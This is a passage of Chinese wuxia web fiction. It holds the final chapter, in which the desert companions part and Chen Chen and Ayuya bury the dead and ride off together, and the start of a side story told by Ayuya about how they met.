他顿了顿,看着眼前的三个兄弟。
“该歇一歇了。找些自己想做的事情,而不是四个人在这里互相残杀。”
“就算杀了他,也改变不了什么。何不大路朝天,各走一边?从此隐姓埋名,江湖的事就让他们江湖人去搞吧。”
陈晨收起枪,插在沙地上,转身朝阿育娅走去。
他一边走,一边说,声音不大,却清清楚楚送进每个人耳朵里:
“若你们还想斗,那我便把你们三个都杀了。然后把那小东西,戳成筛子,挂在树上。任他在这大漠中晒着,风一吹,便哗啦啦地响。”
16. 终章:相依
陈晨走到阿育娅身边,慢慢坐下。
他靠在她身旁,肩膀抵着肩膀。那些伤口还在疼,腿上的窟窿,左掌的贯穿伤,太阳穴上被酒坛砸出的淤青,每一处都在提醒他这一夜的惨烈。但他顾不上这些,他只是伸出手,握住她的手。
十指相扣,紧紧交缠。
他的手上有干涸的血迹,她的手上也有。分不清是谁的,也不想分清。那些血混在一起,就像他们的命也混在了一起,再也分不开了。
两人就这样坐着,望着大漠的夜空。
星星很多,密密麻麻,像打翻的碎银,又像无数双眼睛在看着这片废墟。可那些星星离得很远,冷冰冰的,照不亮这片焦土,也照不亮那些再也醒不过来的人。桃树烧焦的味道还在鼻尖萦绕,挥之不去,混着血腥、焦糊、还有夜风的凉意。那味道钻进鼻腔,渗进肺里,提醒着他们这里刚刚发生过什么。
没有人说话。
十个人,散落在废墟各处,谁也没有出声。只有夜风偶尔拂过,卷起灰烬,发出沙沙的轻响。那声音很轻,轻得像那些死去的魂灵在低语,在诉说什么,又像是在叹息。
远处,那棵枯死的桃树还立着,焦黑的枝丫伸向夜空,像是在乞求什么,又像是在质问什么。
谛听靠在一截断墙上,双戟横在膝上,望着夜空出神。他的脸上没有表情,可那双眼睛里有光在闪。他可能在想那些死去的兄弟,想那些扔在刀马脚边的名牌,想这一夜的厮杀最终换来了什么。
隗知坐在他旁边,钢爪已经收起,手垂在身侧,一动不动。她平日里话就少,此刻更是沉默得像一块石头。可她的手在微微发抖,不知道是冷的,还是心里有事。
刀马躺在沙地上,睁着眼,不知道在想什么。他身上的伤口还在往外渗血,可他顾不上包扎,就那么躺着,望着夜空,望着那些星星。小七被救出来了,可他也失去了更多。
竖靠着半根烧焦的木柱,闭着眼睛,像一尊雕塑。他的柱国之刃横在膝上,刀身上还沾着血,已经干涸成暗红色。他没有说话,甚至没有动,只是那么靠着,仿佛要把自己和这废墟融为一体。
阿妮蜷缩在阿育娅脚边,已经睡着,呼吸很轻。她伤得很重,被和伊玄那一脚踹断了肋骨,可她硬是撑着没倒,一直撑到现在。睡着了,眉头还皱着,不知道梦里还在经历什么。
知世郎和燕子娘被解开锁链,坐在不远处,两人背靠着背,都沉默着。知世郎那张惨白的脸上,那些诡异的花纹在夜色里若隐若现,像活的藤蔓。燕子娘难得安静,只是靠着知世郎,望着那些星星,不知道在想什么。
小七缩在燕子娘怀里,小手紧紧抓着她的衣襟,小小的身体还在微微发抖。他吓坏了,一整夜没合眼,直到刚才才撑不住睡过去。睡着了,还在发抖,还在做噩梦。
就这样过了一夜。
没有人说话,没有人动弹,只有时间在废墟上慢慢爬过。火光渐渐暗下去,最后只剩几点暗红的余烬,在夜风里明明灭灭。天色从漆黑变成深蓝,又从深蓝变成灰白。
东方渐渐泛白。
第二天一早,晨光从废墟边缘照进来,给那些焦黑的断壁镀上一层淡金色。那金色很淡,淡得像是在试探,试探这片废墟还能不能承受光亮。
谛听站起身,拍了拍身上的灰。他走到陈晨面前,低头看着他。
陈晨抬起头,对上他的目光。
两人对视良久,谁也没有开口。那目光里有太多东西……十三年同生共死的兄弟情,天牢里一起受过的折磨,暗刃三年各自背负的血债,还有这一夜的厮杀和质问。
最后,谛听伸出手,按了按陈晨的肩膀。那只手很重,带着兄弟的分量,也带着告别的不舍。
然后他转身,大步走向拴在一旁的马匹。
隗知跟在他身后,走到陈晨身边时停了一步,看了他一眼,点了点头。那一眼里有很多话,可她没说,只是点了点头,随即也跟了上去。
两人翻身上马,最后回头看了一眼这片废墟,看了一眼那些曾经生死与共的兄弟,看了一眼那个还坐在地上、握着阿育娅手的陈晨。
然后一夹马腹,两匹马扬蹄,朝着大漠深处疾驰而去。
风沙扬起,很快将他们的身影吞没。
陈晨望着那个方向,很久很久。
阿育娅的手还握在他手心里,一直没有松开。
刀马牵着小七的手,走到陈晨面前。
小七仰头看着这个浑身是血的男人,眼睛里没有害怕,只有好奇。他还小,不太懂大人之间的恩怨,只知道这个人和刀马打过架,后来又救了他们。他歪着头看了陈晨一会儿,又看了看阿育娅,嘴角咧开,露出一个缺了门牙的笑。
刀马站定,开口问道:
“不和我们一起走了吗?”
陈晨摇了摇头。他看了一眼靠在自己肩上还在熟睡的阿育娅,声音很轻:
“我要和阿育娅留在大漠。她去哪,我就去哪。”
刀马看着他,看了很久。
那张脸上还有干涸的血迹,眼眶青紫,嘴角裂开,白发混在黑发里,被晨光照得发亮。可那双眼睛很平静,平静得像一潭深水,平静得让人看不出他心里在想什么。
刀马没有再说话。
他只是牵着小七,转身朝外走去。走出几步,小七回头看了陈晨一眼,挥了挥小手。那小手挥得很用力,像是在说再见,又像是在说谢谢。
陈晨嘴角动了动,算是回应。
阿妮站在一旁,看着还在熟睡的阿育娅。她弯下腰,在陈晨耳边小声说:
“你要保护好小姐。等我回来。”
她顿了顿。
“你若是没能保护好她,我一定要攮你两刀。”
陈晨没有回头,只是看着阿育娅的睡颜,声音低低的:
“别说是两刀,你凌迟了我都行。”
阿妮盯着他看了好一会儿。那目光里有威胁,有托付,也有不舍。然后她直起身,大步追上刀马和小七。
竖也走了过来。
他停在陈晨面前,看着这个一夜之间白发又多了几根的男人。他们认识的时间不长,一起杀过敌,一起流过血,也一起沉默过。竖不爱说话,可他什么都看在眼里。
竖点了点头。
没说话。
然后转身,大步离去。
燕子娘不知从哪儿冒了出来。她手上和脚上都没有再戴镣铐,不知何时被竖摘了去。她走到陈晨面前,歪着头打量他,嘴角勾起一个意味深长的笑。
“小郎君,恭喜你找到自己的心上人。”
她凑近一步,声音压得低低的,却还是那么脆生生的:
“若是想要,便来长安寻我。”
不等陈晨发作,她已经一溜烟跑远了。跑出几步,还回头冲他挥了挥手,笑得像只偷到鸡的狐狸。那笑容里没有恶意,只有一种说不清的调皮和祝福。
陈晨摇了摇头,懒得理她。
知世郎走在众人最后。
他停在陈晨面前,整了整衣襟,郑重地行了一礼。那张惨白的脸上,那些诡异的花纹在晨光里泛着淡淡的光,像是活了过来。他行的是大礼,腰弯得很低,头几乎要碰到膝盖。
“大侠,多日以来,感谢了!”
他的声音里带着几分真诚的感激,几分劫后余生的庆幸,还有几分说不清的情绪。
“以后,我们还会相见吗?”
陈晨抬起头,看着这个曾经被他追杀、后来又一路护送到这里的人。他想起了那个在马车里数数的孩子,想起了那个追着马车跑的背影,想起了那句“静待花开”。
“待花开满天之时,”他说,声音很平静,“我会带着阿育娅去长安找你们的。”
他顿了顿,嘴角微微弯了弯。
“到时候,我们再把酒言欢。”
知世郎愣了一下,然后笑了。
那张惨白的脸笑起来有些诡异,但那笑容是真诚的,是温暖的,是从心底里透出来的。
“好。”他说,“一言为定。”
他转身,大步追上前面的人。
晨光越来越亮,将那些远去的背影镀上一层金色。刀马牵着小七,阿妮跟在身边,竖走在最后,燕子娘蹦蹦跳跳地追上去,知世郎赶上他们,几个人翻身上马,一夹马腹,五匹马便走进晨光之中,走进风沙之中,走进那慢慢的归途之中。
陈晨低下头,看着靠在自己肩上还在熟睡的阿育娅。
她的眉头舒展着,睡得很安稳。晨光照在她脸上,把她的睫毛照成金色的,脸颊上还有干涸的血迹,嘴角却微微翘着,不知梦见了什么。她梦见的应该是好事,应该是那些还没有发生的美好。
他把她往怀里拢了拢。
身后,那棵枯死的桃树还立着,焦黑的枝丫伸向天空。远处,废墟上冒起几缕青烟,那是昨晚大火留下的最后痕迹,也是那些死去的人留给这个世界的最后一点存在。
风吹过来,带着沙土的干涩,也带着一丝若有若无的桃木焦味。
陈晨闭上眼睛。
他忽然想起老莫说的那句话……“丫头她这些年老吵着去长安”。
等花开满天的时候,他会带她去的。
陈晨和阿育娅在空无一人的莫家集住了几天。
没有厮杀,没有追兵,没有生离死别。只有两个人,和一座废墟。
他们一起起床。清晨的第一缕光照进来时,陈晨总是先醒。他不说话,只是侧过身,看着身边还在熟睡的人。她的眉头不再紧皱,呼吸均匀,睡得安稳。有时他会伸手,轻轻拂去她脸上沾着的灰。她会在睡梦中皱了皱鼻子,然后往他怀里拱一拱,继续睡。他就那样看着,看得出了神,看得忘了时间。
他们一起睡觉。夜晚的莫家集很静,静得能听见风从废墟间穿过的声音。那风声呜咽着,像是在哭,又像是在唱一首古老的歌谣。两个人挤在那间还没完全烧毁的小屋里,铺着一层薄薄的毡子,盖着从死人堆里翻出来的毯子。她总是把冰凉的脚塞进他怀里,他会用手掌包住,搓一搓,直到暖了为止。她会在黑暗里偷偷笑,笑得肩膀一抖一抖的,然后往他怀里拱得更深。
他们一起洗漱。清晨,两人走到那条已经被血染过的小河边。河水已经清了,血腥味散了,又恢复了从前的清澈。阳光照在水面上,波光粼粼,像是洒了一层碎金。她蹲在河边掬水洗脸,他在旁边看着,偶尔帮她擦掉没洗干净的血痂。她抬起头,脸上挂着水珠,冲他笑。他也笑,笑得很少,但笑了。
他们一起疗伤。他腿上那个窟窿已经结痂,但她还是每天都要看一遍,用干净的布蘸了水轻轻擦拭。她擦得很轻,轻得像怕弄疼他。他左掌上那个被刀刺穿的伤口已经能活动了,她会抓着他的手,一根一根活动他的手指,问他疼不疼。他说不疼。她不信,但也不戳穿,只是动作更轻了,更小心了。
他们一起在晚上看星星。
废墟中央,那棵枯死的桃树旁,两个人并排躺着,十指相扣。夜风从远处吹来,带着沙土的干涩,也带着一丝若有若无的焦味。可头顶的星星很亮,密密麻麻,像打翻的碎银,像无数双眼睛在看着他们。
“陈晨。”她忽然开口。
“嗯?”
“你说,老莫现在在哪儿?”
他沉默了一会儿。
“在天上。”他说,“看着你呢。”
她侧过头,看着他。月光照在他脸上,那白发在夜色里格外显眼。她伸出手,轻轻摸了摸那些白发,一根一根的,像是在数,又像是在抚摸那些她不在的岁月。
“那你呢?”
“我也看着你。”他说,“就在你旁边。”
她笑了,把脸埋进他肩窝里。
他把她往怀里拢了拢。
“等花开满天的时候,”她闷闷的声音从他胸口传来,“咱们去长安,找他们喝酒。”<
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p>“好。”
“说话算话。”
“嗯。”
她又往他怀里拱了拱。
“陈晨。”
“嗯?”
“我爱你。”
他没说话。只是把她抱得更紧了些。
过了很久,久到她以为他睡着了,才听见他低低的声音从头顶传来:
“我也是。”
风从废墟上吹过,卷起几片灰烬,落在他们身边。那棵枯死的桃树站在不远处,焦黑的枝丫伸向夜空,像是在为他们守着这一方小小的天地。
这夜过后两人一起将莫家集内的尸体埋葬好。
一具一具,从河边抬出来,从废墟里扒出来,从烧塌的房梁下拖出来。有的已经面目全非,有的还保持着生前的模样。阿育娅认得其中很多人……那个卖吃食的大娘,那个打铁的小哥,那个总是追着野狗跑的娃娃。她没哭,只是一具一具地辨认,一具一具地掩埋。
她认得那个大娘。大娘总是笑眯眯的,每次见到她都会塞一块刚出炉的饼。现在那张脸已经看不清了,可她还是在尸堆里找出了她,因为大娘手上还戴着那只银镯子。
她认得那个小哥。小哥话不多,可每次她路过铁匠铺,他都会冲她点点头。他的身体被压在烧塌的房梁下,已经不成人形了,可她还是在废墟里找到了他。
她认得那个娃娃。娃娃才五岁,总是追着那条野狗跑,跑得满身是汗,然后被她抓住,抱回去交给大人。现在他安静地躺在河边,眼睛闭着,像是睡着了。
她没哭。她只是蹲下来,把他的眼睛合上,把他的小手放在胸前。
陈晨陪着她,不说话,只是挖坑,搬运,填土。他知道她心里有多痛,可他不知道该怎么安慰。他只能陪着她,帮她做这些她能做却做不了的事。
用了整整两天。
两天里,他们几乎没有说话。只有挖土的沙沙声,搬运时沉重的喘息声,和偶尔传来的风声。那些声音很单调,单调得让人麻木。可他们就这样麻木地做着,一具一具,一个坑一个坑。
两天后,莫家集里再也没有一具暴露的尸体。那些曾经活生生的人,都回到了这片土地下面,和焦土混在一起,再也分不出彼此。那些坑填平了,踩实了,和周围的地面一样平整,像是从来没有过那些尸体。
可陈晨知道,阿育娅知道,这片土地下面,睡着很多很多人。
第三天清晨,两人一起走到那棵枯死的桃树下。
陈晨手里抱着那柄重弩。这把在狂沙中射杀无数敌人的利器,这把被和伊玄用骷髅挡下过、又被阿育娅三箭穿颅的凶器,此刻被他抱在怀里,像抱一个沉睡的孩子。
他蹲下来,在桃树下挖了一个坑。
阿育娅蹲在他身边,帮他刨土。两人都没说话,只有泥土被翻开的沙沙声。那声音很轻,轻得像是在怕惊扰什么。
坑挖好了,不大,刚好能放下那柄重弩。
陈晨把重弩放进去,又看了它一眼。
它跟了他很久,帮他杀过很多人。从狂沙之战到莫家集,它一直没有失手。在狂沙里,它射穿了敌人的胸膛;在黑牛滩,它震慑了那些吐火罗佣兵;在莫家集,它指着阿罗汉的脑袋,逼退了那支雇佣兵团。可现在,它该休息了。
他捧起土,一把一把盖上去。
阿育娅也捧起土,一把一把盖上去。
很快,那个坑被填平了。两人用手把土拍实,拍成一个圆鼓鼓的小土包。
陈晨从背后解下箭壶,里面只剩下三支弩箭。他把三支箭一支一支抽出来,一支一支插在土包上。
三支箭并排立着,像三根小小的墓碑。
阿育娅看着那三支箭,忽然想起和伊玄死时的样子……三支箭并排插在他头上,像一顶血淋淋的王冠。
现在,那顶王冠埋在这里,祭奠着那些死去的人。
风从废墟上吹过,吹动那三支箭,发出轻轻的呜呜声。那声音像是叹息,又像是告别。
阿育娅站起身,拍了拍手上的土,转向陈晨。
晨光照在她脸上,那双眼睛亮亮的,嘴角微微翘起。明明刚刚埋完死人,明明刚刚告别了这片废墟,可她笑起来还是那样好看,还是那样让人心动。
“想去哪?”
她笑着问道。
陈晨看着她,看了很久。
阳光在她脸上跳跃,把那些干涸的血迹照得发亮。她的头发乱了,脸上还有灰,可她笑得那样好看,笑得他心都软了。
然后他伸手,握住她的手。
“你去哪,我就去哪。”
两个人翻身上马。
陈晨的马侧挂着那杆霸王枪,依旧在他触手可及的地方。枪身乌黑,那些厮杀留下的凹痕还在,可血迹已经洗净,在晨光里泛着沉沉的光。背后长刀上的布条换了新的,缠得整整齐齐,在晨光里泛着干净的白色。
阿育娅背着箭壶与弯弓,腰间挎着弯刀。在她腰带后方,那个长包还在……陈晨送她的那柄连弩,依旧安静地躺在里面。那是她“看了又看,摸了又摸”才绑在腰后的东西,是她用来射杀和伊玄的东西,是她这辈子最珍贵的东西之一。
两人一前一后,催马向前。
马蹄踏过焦土,踏过灰烬,踏过那些再也醒不过来的昨天。风从身后吹来,卷起几片残叶,很快又被沙尘吞没。他们身后,是废墟,是死亡,是再也回不去的过往。他们前方,是大漠,是未知,是刚刚开始的余生。
他们的身影越来越远,越来越淡,终于消失在大漠尽头。
风吹过莫家集的废墟,吹过那棵被烧焦的桃树。
枯黑的枝丫上,一朵粉嫩的桃花,悄悄绽开。
那花瓣很嫩,嫩得像是刚出生的婴儿。那颜色很粉,粉得像是天边的云霞。它就那样开在焦黑的枝丫上,开在废墟里,开在所有死去的人中间。
像是在诉说什么。
又像是在等什么。
17. 番外一:我[番外]
我叫阿育娅。
我阿塔说,这个名字是月亮的意思。
我生在莫家集,长在莫家集,活了十八年,没有离开过这片沙漠。我以为我会一直在这里,嫁人生子,变老,然后死在某个沙丘后面,和我阿娜一样。
直到那天我遇见了一个人。
那天我照例带着我的白马来到河边给他洗澡。
我的马名字叫做月光,是不是很好听?
莫家集内的那条河可不能用来给月光洗澡,那是我们整个莫家集的水源,是我们活下去的希望。
我领它去的是集市外的一条小河,这条河谁也不知道,是我的秘密基地。
只是河边总会有些小蝎子出没,我每次去都会抓一些给我阿塔带回去泡酒喝。
我阿塔最喜欢这种酒了。
还没等我牵着月光下水,一匹枣红色的马跑到了河边,猛喝起来。
从哪里来的马?
我仔细打量着,膘肥体壮,就是饿的有些久了,也渴的有些久了。
难道是和商队走散的马?
我牵着月光围着它转了几圈。
马鞍旁挂了很多皮包,马肚子旁边还用布将一个长条形的东西裹得严严实实的。
我走上前,摸了摸它的脖子,他也不怕我,反倒扭过头来用湿漉漉的鼻子蹭我的手,真是匹好马。
我轻轻将布扯开一角,里面是一柄长枪,枪尖还闪着刺眼的光。
忽然那匹枣红色的马,咬住我手中的缰绳,用力将我往一个方向拽去。
你要去哪里,要不还是跟我回莫家集吧,我的月光还缺一个玩伴呢。
我跟在它后面,它三步一回头仿佛怕我跟丢了一般。
是有什么你在乎的东西在前面吗?
它走到一个小沙丘旁停了下来,用鼻子拱了拱,在沙子下面居然拱出来了一只手。
这是你的主人吗?
我挖了一会,是一个男人。
还好,他还有气。
只是屁股上趴着两只我们这里的特产。
赤砂蝎。
那小东西的尾巴卡在他的屁股上没拔出来。
有点好笑。
我从背后的箭囊里抽出一只羽箭,箭尖一挑,便将那两只蝎子塞进小罐子里。
希望阿塔他不会喝出怪味道来。
他可真沉啊。
死沉死沉的。
我扯开他的斗篷,里面是一套黑漆漆的铠甲。
真是精美。
没办法,他要是继续留在这里肯定会死的。
我将他身上的铠甲脱下,却发现被两根带子卡住。
废了好大的力气才把他翻过来。
是个大木头箱子,严丝合缝的。
没办法,只能把他的东西拖在后面,然后把他放到月光的屁股上,这才把他带回了莫家集。
他的脸乌漆嘛黑的,头发乱糟糟的,一点也不好看。
不是我喜欢的类型。
我把他扔到我的床上,用巾帕沾了些水擦在他的脸上。
我阿塔也来了,赤砂蝎的毒只有他认识的游医才能解。
虽然放着不管也行,但是会变成残废。
我阿育娅大人就大发慈悲一次,救人救到底,送佛送到西吧。
阿塔和那个游医忙活到半夜,才把他收拾干净。
他现在穿的里衣还是我阿塔的嘞,等他醒了可得让他好好感谢我。
只是我阿塔没有多余的腰带了。
没办法,就让你先带着你那条破破烂烂的吧。
等我给你做一条新的送给你,不知道你会是什么表情。
借着光,我看着他的脸,似乎没那么丑了。
过了几天,我去打水,准备给他润润嘴唇。
可是一进门,就发现他眯着眼睛,偷看我。
醒了?终于醒了!
他问我他这是在哪。
他是傻的吗?
明眼人一眼就能看出来这是我家里吧!
不过他似乎毒还没有解干净。
居然问我腿为什么动不了。
为什么动不了,因为还没好呗。
我转念一想逗逗他似乎也不错。
“你要么是赤砂蝎的毒还没解干净,要么……就是路上撞大石头上,把腰撞断了。”
他忽然紧盯着我的脸看,那眼神好奇怪,看得我有些心里发毛。
赶忙跟他解释。
我为什么要解释,我以前可从来不解释的。
真是奇怪。
我告诉他我叫做阿育娅,本想说是月亮,但话到嘴边就变成了,我是大漠的公主。
也没错,我就是阿塔的公主,嘿嘿。
他的声音好沙哑,刮得人耳朵疼疼的。
他说他叫陈晨是个镖人,居然和刀马一样诶。
就是说话方式不像刀马那样直来直去,拐弯抹角的真是让人生气!
我又搬过他那只箱子,和他一样死沉死沉的。
我这几天都在研究怎么打开。
阿塔虽然告诉过我不要乱动别人的东西,可我就是好奇里面装的什么。
我拍了拍那个箱子,谁知道会射只箭出去。
还差点把他头射爆。
我可不想我第一次救活的人,就这么死了。
他更是像个孩子一样慌乱,在我面前拿手摆来摆去的。
上一次谁这么做来着,似乎是小七。
他手心里抓着个东西,可惜漏出来半截。
我随手就取了过来,这人真弱。
是一柄飞刃,你藏在哪了呢?
这小东西这么可爱,真的能伤人吗?
还是别让他摸到了,万一伤了自己怎么办,我随手扔在一旁的矮几上。
他也没往回要。
那天傍晚,我正在给月光喂草,他的那匹马也凑到一边。
这马真坏,吃得多也就算了,每次吃都像是要把自己撑死一样,吃光了自己的草,还来抢月光的,还用头拱月光。
我拍了拍它的脑袋,他还以为我是在跟它玩。
和它主人一样傻!
我阿塔来了,他扶着他走了好远。
可是那会我只想喂我的月光。
他们两个有什么好聊的!
这家伙怎么这样,好了,道声谢就要走了。
也不知道找我做向导,在莫家集玩几天。
这莫家集可好玩了,每天都会来很多新的商人,卖的东西也都千奇百怪的。
我跟在他身边,他似乎在找什么东西。
他这个人,哪里都还算不错,就是这个说话方式,弯弯绕,令人不爽。
他原来在找司南,这东西在我们这不少见,但是没人买。
我在大漠里闭着眼睛也能找到家,才不用这玩意辨别方向呢。
这家伙,居然要十两银子,十两银子在莫家集能买下半个集市的零碎物件了。
不是你还真要买啊!
好在他只是数了数钱袋子,没掏钱。
我以为他要放弃了,谁知道他腰带上解下来一个玉佩。
他什么时候挂上去的,我怎么没发现。
这玉佩,雕刻的这么精美,一定不止十两。
那小贩居然不知好歹,这玉佩要是摔坏了,得多可惜。
他的东西都是从坟里撅的无主之物,居然还敢狮子大开口。
我抓住他的手,不过是看着他就把他吓得不行。
真没意思。
不是,他都跑远了,你怎么还要付账。
三两银子也能买好多东西了。
他把玉送给我的时候,我看了又看,这么精美一定对他很重要吧。
那就先寄存在我这里吧,要是还给你,你还不得当了,或者换了,这么美的玉佩,丢了一定很可惜。
是糖葫芦,我好久没吃到了,这东西可是可遇不可求的。
我抓了两只糖葫芦,刚准备付钱。
却瞥见他掏出五枚铜板塞给大叔。
这两根我记得才要三枚来着。
真傻。
我递给他一根,他居然不要。
不要就不要,我自己还吃不够咧。
对面走过来一个人,是刀马。
这家伙也是,昨晚上我还射跑了雕翎队救了他,也不知道说声谢谢。
还没等我说话,这两个家伙居然拔刀了。
难道这是中原人特有的打招呼的习惯,见面先打一架?
我要不要和阿塔提一提,在莫家集也时兴一下这种方式?
好家伙,陈晨三刀就把刀马给砍倒了。
这可不是打招呼,这是要他的命啊!
似乎他也不是那么弱。
好在陈晨收了手,要不我这第一次救得人就得死在我的箭下了。
我故意问他们,这是不是中原人特有的打招呼的习惯。
果然,他两个家伙,还是弯弯绕。
哼,就应该让你们两个一直打,打到不想打了为止。
不过既然你们认识的话,应该也都来自于长安吧。
我赶忙开口问,以前问刀马的时候他总是什么也不说,要不就是他忘了。
其实我知道,他只是不想说而已。
陈晨的话也很少,但是总是会回应你,虽然也是拐弯抹角的。
他说别的话我可能会不信。
但他说长安我信。
他说长安的灯会,满街都是花灯,猜灯谜的摊子前挤满了人,河边放花灯,一盏一盏漂在水上。他说着说着,眼睛里有光。那种光我见过……我阿塔说起我阿娘的时候,也是那种光。
他要走了。
我可不能让他走,长安那么美,他走了谁带我去长安。
他不是镖人吗?那我雇他带我去好了。
在莫家集还没有我找不到的人。
只是。
哈哈哈哈哈哈……
他怎么住在马厩里。
他就那么窝在草里,像个小受气包。
那块玉我找阿塔看了,阿塔他说值一两黄金。
一两黄金有多少?是一枚金币那么多吗?
那还真是挺多的,要是一枚金币的话,整个莫家集的零散东西都能搬回家。
那种金币我阿塔有一箱子,他总说那是莫家集的根本,不让我碰。
现在,我也有一枚了,嘿嘿。
我走进马厩,臭烘烘的,他怎么能在这种地方住的下去。
“和马住在一起,难道比和我住在一起舒服?”
这话一出口,连我自己都惊呆了,我怎么会说出这种话来。
一定是被这两个家伙传染了,都是他们中原人那种弯弯绕的说话方式改变了我。
哼,找机会要拿马鞭抽他俩的屁股,把他俩的屁股抽开花,让他俩以后趴着走。
我在他身边,找个位置,窝在草里。
还挺舒服的,以前我怎么没发现。
我问他能不能带我去长安,他却甩了甩空钱袋。
不是你给马草料也不知道给自己留一点。
可是我身上也一共也没几块碎银子,他能同意吗?
对了!
我还有一枚金币。
他送我的那块玉就是那枚金币。
他一定会带我去长安的。
这玉怎么系这么紧,不应该啊。
他看我在解那块玉赶忙跟我说道。
“别……那玉你留好吧。”
“我可没有收定金的习惯……若是真能带你去长安,到时候也不迟。”
这是不想带我去,还是这值一两黄金的玉还没有他那点草料重要。
另外带我去长安之后,难道要把我一个人扔在长安街头?
会走丢的吧!
我阿育娅天不怕,地不怕。区区一个长安!
我站起身走到他面前,想到了一个孩子之间才会做的游戏。
拉手指,虽然我也并不指望,能通过这个游戏和他产生什么契约。
但是我就是想做。
我除了这个也做不到什么别的了。
可是他却当真了。
说什么,说谎的人就渴死在大漠里。
有必要发这么毒的誓吗。
没水喝,被渴死什么的真是可怕。
阿塔他牵着我的马,和我说让我跟着刀马送知世郎去长安。
我才不想跟着刀马,跟着他有什么好,他得跟着我。
嘿嘿,阿塔他一定不知道,我还找了陈晨,那个能三刀把刀马劈倒在地的人,有他在,这件事不是手到擒来,易如反掌。
希望陈晨他真的在。
他果然在。
要是阿塔他不说多余的话,不做多余的事就更好了。
为什么要偷偷找陈晨,让他保护我。
陈晨他把那袋金子扔给我是什么意思?
不应该扔给阿塔他吗?
我想不明白。
如果阿塔他不说婚约的事情就更好了,这事没几个人知道,现在又多了一个人。
你看他果然问我了。
婚约,和伊玄那家伙,我不喜欢。
他不就是仗着小时候我走失的时候救了我一命吗?
我承认,那时候的我很喜欢他,甚至想要嫁给他,在得知我和他定下婚约的时候,我还高兴了好几天。
可是后来他看我的眼神越来越怪,那眼神让我有些恶心。
我和阿塔说要退婚,结果就因为这事,阿塔他在沙漠里赤脚走了五天才走回莫家集,脚都磨得血肉模糊的,在床上躺了一个月才下来。
我对陈晨说我不喜欢他。
可陈晨他却对我说,他还接杀人的工作,要是我想,他可以帮我杀了和伊玄。
还是别了,就算再不喜欢他,我们俩无冤无仇的,干嘛要杀他。
他俩总是这样疑神疑鬼的,在哪都是。
一个关口能掀起什么风浪。
只要上下打点好,不是随便出入。
可是今天不一样。
当我们几个被人用刀指着的时候。
只要我长刀出鞘,杀这几个小喽啰不是随随便便。
可刀马他拦着我。
居然敢小瞧我。
陈晨他什么时候把弩拿在手里的,他什么时候有了一柄弩?
还把那家伙抓在手里,甚至还用刀划他的眼睛,真残忍啊。
如果是我,我一定抹的他脖子。
葫芦谷里的水真凉快啊。
让人清爽不少。
雕翎队这群家伙,今天怎么两人骑着一匹马过来了。
以前都是,一人一匹马,三十三个人像膏药一样粘在一起。
设陷阱?
谁设陷阱?
我阿育娅大人才不屑去设陷阱呢!
还有,小娘皮是什么意思?
我没听懂。
可陈晨他却动了,从他那木头箱子里抽出一柄弩,把对面那人脑袋都射烂了。
这回知道箱子里面是什么了。
他跟我们说让我们别出手,是因为他生气了嘛?
看着他把对面那些家伙一刀砍成两段,还问那被他射残的家伙,要对我和阿妮怎么样。
难道小娘皮说的是我和阿妮,陈晨能这么生气,应该不是什么好词吧。
真是该死这群人。
他这么生气是为了我吗?
他杀完人,独自一人骑马超前走去。
这背影孤独的让人心酸。
我追上他,他的手拉过来,放在我的手掌里,摸了摸。
我想这样应该能让他好受点吧。
他的那柄连弩,真是精巧,曲柄一转就能上好一根箭。
我伸伸手他就递到我手里。
巧夺天工,世间仅有也不为过。
我眼神期待的看着他。
果然他又抽出一柄连弩送给我。
我就知道他不只有一柄。
他的脸不知为何,好看了几分。
知世郎追马车的样子真是好笑,双手举起,就像一个牵线的木偶。
嘴里喊着知世郎要坐马车,我才不会喊阿育娅要去长安呢,打死也不会
马车里坐着的竖阴沉沉的,燕子娘有些轻浮,我不喜欢。
他们中原人,果然说话都喜欢弯弯绕,一群人挤在马车里,每个人都话里有话。
早晚有一天我要把他们这群人的坏毛病都改过来。
我阿育娅大人说话从来都是直来直去,该是什么就是什么。
燕子娘的脚,是我见过最美的脚,我还从来不知道,一个女人的脚能生的这么美。
可是她却把那只脚搭在了陈晨膝盖上。
脚还可以这么做吗?
为什么啊!
凭什么!
我都没有这么做呢,你怎么可以!
还有你怎么没反应啊,为什么不让她把脚拿开,你是不是也喜欢她对你做的这些事情,那我算什么?
我气坏了。
一用力便将那只脚从他膝盖上撞了下去。
那只脚落在地摊上,溅起些灰尘。
让人开心。
燕子娘这家伙还真是死性不改,还要来惹我。
什么叫她不在乎名分,谁和谁之间的名分。
什么叫一并服侍,服侍谁,怎么服侍,为什么要一并服侍。
难道说她说的是我和陈晨?
服侍什么事情?
我和陈晨为什么要让她服侍?
这些想法搞得我心里乱乱的。
可是他动了,用刀鞘抵在她下巴上。
要是刀刃就好了。
我想他是喜欢我的,我或许也喜欢他。
但我想,对她的惩罚还不够。
于是我用手捏住她的下巴把她按在车厢上。
她嘴上还在说着怪话。
我微微一用力,她便求饶了。
嘿嘿,还想跟我阿育娅大人斗,再活个几百年吧。
马车怎么翻了!
刚刚还在休息,结果它就翻了!
我低头看去,陈晨被压在了最底下。
是为了救我吗?
我有些开心。
我和他一起冲出车厢,抬手一箭便将对面那些冲过来家伙射倒一个。
这些家伙傻傻的,像一群会动的靶子。
那杆枪被他握在手里,轻轻几下便将几个人给戳穿了。
他应该没我想得那么弱。
我也不甘示弱,抽出长刀便砍了两个,就像切个水果一样。
刀马你总小瞧我。
我阿育娅大人可是很强的。
这群中原人,到了半夜也不消停。
刀马又和竖打起来,难道这真是中原人独有的方式,真是让人费解。
我要不要一会把他俩都打一遍,用箭把他们俩的脚指头都射穿。
那竖还被刀马踹到火油坑里面去了。
搞得竖臭烘烘的。
这些家伙就不能考虑一下车厢内其他人的感受吗?
终于到了胡杨林,希望这些中原人今天能消停一会,别给阿育娅大人惹事。
可是人是不能静下来的,一静下来就会胡思乱想。
那只脚,总是出现在我的脑海里,挥之不去。
真烦人。
好想一刀把她的脚砍下来。
剁成八段。
陈晨他怎么看那只脚?
陈晨他怎么看我的脚?
要是陈晨他不喜欢我的脚怎么办?
我是不是也应该脱掉靴子,学着燕子娘的样子,把脚搭在他身上?
不不不,我可是无双大漠的阿育娅大人,是不可以做这种事情的。
心里想着,脚步就停不下来了。
我找了许久才在一处僻静的房顶上找到了看星星的陈晨。
周围一个人也没有,他跑这来干什么。
我在他身边躺下,借着夜色看着他的脸。
那张脸似乎更好看了。
可不知为何,我的脚居然自己把靴子踢了下来。
好冷!
冷的让人难受!
我有些后悔踢到自己的靴子,可我又不想打破这美好的瞬间。
搓了许久也没热。
